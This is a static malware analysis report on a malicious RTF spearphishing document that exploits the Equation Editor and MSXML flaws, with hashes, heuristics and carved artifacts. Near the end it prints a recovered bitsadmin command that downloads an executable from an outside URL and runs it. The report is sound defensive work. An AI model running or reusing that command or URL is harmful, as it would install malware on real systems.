Malicious RTF — malware analysis report

Static analysis result for SHA-256 3efdc649af8784b8…

MALICIOUS

RTF

1.95 MB Created: 2018-06-08 02:48:00 First seen: 2018-10-19
MD5: 9526939c0e997e8f73cebd8597494f8b SHA-1: 14ed07b4671c652f600e0cedd8af6673dc32b5b6 SHA-256: 3efdc649af8784b825230f88a01a42402afe19cca767f51287e1e515ee32fa10
302 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1566.001 Spearphishing Attachment

The RTF file contains multiple critical heuristic firings indicating exploitation of CVE-2017-11882 (Equation Editor) and CVE-2017-8759 (MSXML SAX OLE activation). These vulnerabilities are commonly used to execute arbitrary code. The presence of an embedded executable file and a suspicious URL suggests the file acts as a downloader for a second-stage payload. The file likely arrived as a spearphishing attachment.

Heuristics 8

  • CVE-2017-11882 — Equation Editor FONT record overflow critical CVE likely CVE_2017_11882
    Equation Editor MTEF contains an overlong FONT typeface field, the vulnerable copy primitive for CVE-2017-11882. This is stronger evidence than the Equation Editor CLSID alone because it identifies the malformed record that drives code execution in EQNEDT32.EXE.
  • CVE-2017-8759 — MSXML SAX OLE activation critical CVE likely CVE_2017_8759
    RTF contains a hex-encoded OLE1 object for Msxml2.SAXXMLReader.6.0 followed by an embedded OLE compound document, and the document requests OLE activation. This matches the RTF staging shape used for CVE-2017-8759 SOAP/WSDL parser code injection.
  • Suspicious extracted artifact critical EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • \objupdate forces OLE activation high RTF_OBJUPDATE
    RTF contains \objupdate — forces automatic OLE object instantiation when the document is opened, bypassing user interaction. Almost exclusively seen in Equation Editor exploit documents.
  • Large hex data blocks in OLE object high RTF_EXCESSIVE_HEX
    RTF contains ~1193KB of hex-encoded data inside \objdata sections — may hide a payload
  • OLE object data medium RTF_OBJDATA
    RTF contains 2 \objdata section(s) — embedded OLE objects
  • Embedded OLE object medium RTF_OBJEMB
    RTF contains \objemb — embedded OLE object
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://sectorxpriv8.com/loaderfud.exe In RTF body
    • http://schemas.microsoft.com/office/word/2003/wordmlIn RTF body
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn RTF body

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
objdata_00_off00006873.bin rtf-objdata-decoded RTF \objdata at offset 0x6873 35374 bytes
SHA-256: 9ac6ab830aa81031fe8c6395ff3218e5ac93ac7d7b178743c9eeb6f7f176dd3d
objdata_01_off0012fe2f.bin rtf-objdata-decoded RTF \objdata at offset 0x12FE2F 15672 bytes
SHA-256: 39343e639e73672de7ddc47c84eb09e6d09e55765dda25d70ba7d6778397f4b4
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Static shellcode analysis recovered URL(s): http://sectorxpriv8.com/loaderfud.exe Static shellcode analysis recovered command string(s): cmd.exe /c bitsadmin /transfer fJ /priority foreground http://sectorxpriv8.com/loaderfud.exe %TEMP%\A.exe && start %TEMP%\A.exe

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